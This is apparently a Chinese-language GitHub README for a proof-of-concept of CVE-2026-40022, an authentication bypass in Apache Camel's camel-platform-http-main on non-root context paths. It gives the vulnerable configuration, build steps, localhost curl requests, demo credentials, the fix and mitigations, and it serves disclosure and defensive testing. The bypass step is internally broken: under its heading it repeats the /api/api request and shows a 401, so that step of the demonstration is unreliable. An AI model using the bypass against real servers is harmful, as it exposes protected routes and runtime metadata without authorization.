oscerd/CVE-2026-40022

GitHub: oscerd/CVE-2026-40022

该项目复现了 Apache Camel camel-platform-http-main 在非根上下文路径上的身份验证绕过漏洞(CVE-2026-40022),演示了未经认证即可访问受保护路由和管理端点的过程。

Stars: 0 | Forks: 0

# camel-platform-http-main 在非根上下文路径上的身份验证绕过 (CVE-2026-40022) 本项目演示了 Apache Camel 的 `camel-platform-http-main` 组件(Camel *main* 运行时的内嵌 HTTP/管理服务器)中的**身份验证绕过**漏洞,追踪编号为 **CVE-2026-40022**。当启用身份验证并配置了非根上下文路径(例如 `/api` 或 `/admin`)时,身份验证处理器仅覆盖精确的上下文路径,因此对**子路径**的未验证请求可以到达受保护的路由和管理端点。 安全通告:https://camel.apache.org/security/CVE-2026-40022.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-platform-http-main` (Camel main 运行时内嵌的 HTTP/管理服务器) | | **受影响的类** | `BasicAuthenticationConfigurer`, `JWTAuthenticationConfigurer`, `MainAuthenticationConfigurer` | | **根本原因** | 当未设置 `authenticationPath` 时,它将从 `camel.server.path` 派生;由于 Vert.x 子路由挂载模型,auth handler 仅匹配精确的上下文路径,而不匹配其子路径 | | **CWE** | CWE-287: 身份验证不当 (身份验证绕过) | | **影响** | 未经身份验证即可访问受保护的业务路由和管理端点 (例如 `/observe/info` 会泄露运行时元数据) | | **受影响版本** | 从 4.14.1 到 4.14.6 之前,以及从 4.15.0 到 4.18.2 之前 | | **修复版本** | 4.14.6, 4.18.2, 4.20.0 | | **报告者** | Jihang Yu | | **PR** | apache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x) | ## 技术细节 `BasicAuthenticationConfigurer` (以及 `JWTAuthenticationConfigurer`) 通过 `properties.getAuthenticationPath()` 解析 auth handler 保护的路径,如果未显式设置,则回退到 `properties.getPath()` (即 `camel.server.path` 上下文路径): ``` String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath()); ``` Vert.x 服务器在 `*` 处挂载了一个**子路由 (sub-router)**,并在该子路由内部注册了 auth handler,路径为解析后的路径。在受影响的版本中,解析后的路径正是上下文路径本身,因此——相对于已经挂载在 `/api` 上的子路由——auth handler 最终匹配的是 `/api/api`,而不是每一个子路径。结果是: - `/api/api` **会**受到拦截 (401) —— 处理器是存在的,只是作用域范围错误 - `/api/hello` (真正的业务路由) **不会**受到拦截 → 无需凭据即可访问 修复方案让 `resolveAuthenticationPath` 返回 `/*`,从而使该处理器覆盖子路由的所有子路径。 ## 设置 `application.properties` —— 配置了非根上下文路径,启用了身份验证,且未设置 `authenticationPath`: ``` camel.server.enabled = true camel.server.port = 8080 camel.server.path = /api camel.server.authenticationEnabled = true camel.server.basicPropertiesFile = auth.properties ``` 该路由服务于 `/api/hello`。 ## 前置条件 - Java 17+ - Maven 3.8+ 无需外部服务或 Docker 容器 —— 存在漏洞的 HTTP 服务器就是应用程序本身。 ## 复现步骤 ### 第一步:构建并启动 ``` mvn clean package -DskipTests java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar ``` ### 第二步:证明身份验证确实已启用 ``` curl -i http://localhost:8080/api/api # -> HTTP/1.1 401 Unauthorized # WWW-Authenticate: Basic realm="vertx-web" ``` BasicAuthHandler 处于激活状态 —— 但其作用域被错误地限制在了精确的上下文路径上。 ### 第三步:绕过验证 —— 无需凭据即可访问受保护路由 ``` curl -i http://localhost:8080/api/api # -> HTTP/1.1 401 Unauthorized # WWW-Authenticate: Basic realm="vertx-web" ``` 在已修复的版本 (4.14.6 / 4.18.2 / 4.20.0) 中,这将返回 **401 Unauthorized**。 ### 第四步:提供凭据后也可以正常访问 (符合预期) ``` curl -i -u camel:propertiesPass http://localhost:8080/api/hello # -> HTTP/1.1 200 OK ``` ## 影响:管理端点信息泄露 同样的缺陷也适用于管理服务器 (`camel.management.path`,例如 `/admin`)。对子路径(如 `/admin/observe/info`)的未经验证请求可以到达管理端点,这可能会泄露运行时元数据:操作系统用户、工作/主目录、进程 ID、JVM 和操作系统信息。 ## 漏洞利用条件 1. 使用 Camel **main** 运行时并带有 `camel-platform-http-main`。 2. 服务器或管理服务器上启用了身份验证。 3. 配置了**非根**上下文路径 (`camel.server.path` / `camel.management.path`)。 4. **未**显式设置 `camel.server.authenticationPath` / `camel.management.authenticationPath`。 ## 推荐修复方案 升级至 4.14.6 / 4.18.2 / 4.20.0。修复方案 (`resolveAuthenticationPath`) 使 auth handler 覆盖了每一个子路径: ``` default String resolveAuthenticationPath(String authenticationPath, String contextPath) { if (authenticationPath != null && !authenticationPath.isBlank()) { return authenticationPath; } return "/*"; // was: the exact context path } ``` ## 缓解措施 在升级之前: 1. **显式设置** `camel.server.authenticationPath = /*` (以及 `camel.management.authenticationPath = /*`),以便处理器覆盖所有子路径。 2. 仅将管理服务器保留在受信任的网络中。 ## 文件 ``` CVE-2026-40022/ ├── pom.xml ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java # Camel main runtime entry point │ └── HelloRoute.java # a protected platform-http route (/api/hello) └── resources/ ├── application.properties # non-root path + auth enabled (the vulnerable config) └── auth.properties # basic-auth user (camel / propertiesPass) ``` ## 免责声明 此复现代码仅供**安全研究和授权测试使用**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:Apache Camel, CISA项目, JS文件枚举, PoC, 域名枚举, 安全漏洞, 暴力破解, 漏洞复现, 认证绕过